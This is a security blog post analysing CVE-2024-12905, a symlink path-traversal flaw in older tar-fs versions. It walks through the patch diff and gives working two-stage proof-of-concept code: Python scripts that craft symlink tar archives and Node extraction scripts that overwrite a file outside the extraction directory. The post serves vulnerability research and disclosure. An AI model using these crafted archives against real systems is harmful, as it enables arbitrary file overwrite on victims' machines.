Post

CVE-2024-12905 - tar-fs Vulnerability Ananlysis and PoC

CVE-2024-12905 - tar-fs Vulnerability Ananlysis and PoC

Vulnerability anaylsis and PoC Development for CVE-2024-12905

Introduction

The tar-fs npm package is commonly used in JavaScript projects to pack and extract .tar archive files. However, a critical vulnerability (CVE-2024-12905) affects several versions of this package — specifically:

  • Versions from 0.0.0 before 1.16.4

  • Versions from 2.0.0 before 2.1.2

  • Versions from 3.0.0 before 3.0.7

This vulnerability allows attackers to craft malicious .tar archives that can write or overwrite files outside the intended extraction directory, potentially leading to arbitrary file write attacks. This kind of flaw poses a serious risk, especially in environments that automatically extract user-provided archives.

In this blog, we’ll dive into the tar-fs source code and analyze the relevant Git commits before and after the patch to understand how the vulnerability works. We’ll also walk through the process of crafting a proof-of-concept (PoC) exploit to demonstrate its impact.

Vulnerability Analysis

While researching recently published vulnerabilities for a new vulnerable machine concept, I came across CVE-2024-12905. The description immediately piqued my interest, and I was eager to replicate the vulnerability. However, I quickly realized that no public exploit code existed for it.

Determined to explore further, I decided to dive into the patch diffs myself to uncover exactly where the vulnerability was introduced—and more importantly, how it was fixed—so I could develop a working proof of concept (PoC).

Fortunately, the researchers who discovered the vulnerability referenced a specific commit hash in the tar-fs repository where the issue was addressed: mafintosh/tar-fs@a1dd7e7.

Upon reviewing this commit, I noticed a number of key additions to the code that appeared to patch the underlying issue.

First, on line 123, a new line was introduced to retrieve the absolute path of the current working directory. This serves as a baseline for validating file paths during extraction.

Then, on lines 221 to 223, an important security check was added. This logic ensures that when unpacking archives, symbolic links are verified to confirm they do not point to locations outside the current working directory.

As shown in Figure 1, new lines were added to perform these validation checks. This includes a call to the inCwd() function, which is responsible for ensuring that resolved paths stay within the current working directory.

The actual implementation of inCwd() can be seen in Figure 2.

Additions to the code
Figure 1: Key Code Additions

inCwd Code Addition
Figure 2: Implementation of inCwd()

From these observations, we can begin to pinpoint the core of the vulnerability. In the affected versions of tar-fs, it is possible to unpack .tar archives containing symbolic links that point outside the current working directory. This oversight could allow attackers to write or overwrite arbitrary files on the system by leveraging specially crafted archive contents.

Exploit Development

After identifying the vulnerability i moved on to crafting an exploit to prove ths concept. From the vulnerabilty i came to understand that we could submit archives with symbolic links and the affected version of tar-fs would happily unpack it. The exploitation doesn’t end here as there are two stages involved in successfully obtaining a file write/overwrite.

In this stage, we use Python to craft a .tar archive that contains a symbolic link. This symbolic link is configured to point to a specific target file on the system that we intend to overwrite during extraction.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import tarfile
import os

archive_name = 'stage_1.tar'
link_name = 'normal_file' 
symlink_target = '../../../../../../../../../home/mcsam/poc' # Replace with traversed path to the file you want to overwrite

# Create symbolic link
os.symlink(symlink_target, link_name)

# Archive the symbolic link
tar = tarfile.open(archive_name, 'w')
tar.add(link_name, recursive=False)
tar.close()

Expected Structure of the stage_1.tar File

When the archive is inspected using tar -tvf, it should look like this:

1
2
mcsam@0x32:~/tarfs-PoC$ tar -tvf stage_1.tar 
lrwxrwxrwx mcsam/mcsam       0 2025-04-18 15:06 normal_file -> ../../../../../../../../../home/mcsam/poc

When stage_1.tar is unpacked on the target system, the symbolic link normal_file will be dropped in the extraction directory. This sets up the environment for the next stage, where this symlink could potentially be used to overwrite the target file it points to.

Stage 2: Creating stage_2 tar archive

In this stage, we create another TAR archive named stage_2.tar. This archive contains a regular file with the same name as the symbolic link we created in Stage 1 (e.g., normal_file).

The contents of this new file represent the data we intend to write into the target file on the victim system — the one the symbolic link points to.

This can also be achieved using Python.

1
2
3
4
5
6
7
8
import tarfile

path_to_file_to_archive = 'poc' 
archive_name = 'stage_2.tar'

tar = tarfile.open(archive_name, 'w')
tar.add(path_to_file_to_archive, 'normal_file') # normal_file: same name as the symbolic link
tar.close()

Expected Structure of the stage_1.tar File

When the archive is inspected using tar -tvf, it should look like this:

1
2
mcsam@0x32:~/tarfs-PoC$ tar -tvf stage_2.tar 
-rw-rw-r-- mcsam/mcsam      19 2025-04-18 15:16 normal_file

What Happens When stage_2.tar is Unpacked

When stage_2.tar is unpacked by the vulnerable tar-fs application, it attempts to write the file normal_file to the file system.

However, recall that a symbolic link named normal_file already exists on the target (created during Stage 1). As a result, when tar-fs tries to write to normal_file in its current working directory, it will follow the symlink and end up overwriting the actual file it points to: ../../../../../../../../../home/mcsam/poc.

This allows us to effectively overwrite an arbitrary file on the target system, provided the process has the necessary write permissions to that file.

Verifying/Testing The Exploit

First, we set up our environment using npm and install a vulnerable version of tar-fs:

1
npm install tar-fs@3.0.0

Extracting Stage 1

Next, we create a simple test script named test.js that uses tar-fs to extract a tar archive:

1
2
3
4
5
const tar = require('tar-fs')
const fs = require('fs')

// Extract stage_1.tar
fs.createReadStream('stage_1.tar').pipe(tar.extract('./output'))

Run the script with:

1
node test.js

Extracting stage 2

Now, we update the script to extract stage_2.tar instead:

1
2
3
4
5
const tar = require('tar-fs')
const fs = require('fs')

// Extract stage_2.tar
fs.createReadStream('stage_2.tar').pipe(tar.extract('./output'))

Run the script again and voilà — the path traversal takes effect.
/home/mcsam/poc gets overwritten.

Verifying the exploit

Final PoC

References

This post is licensed under CC BY 4.0 by the author.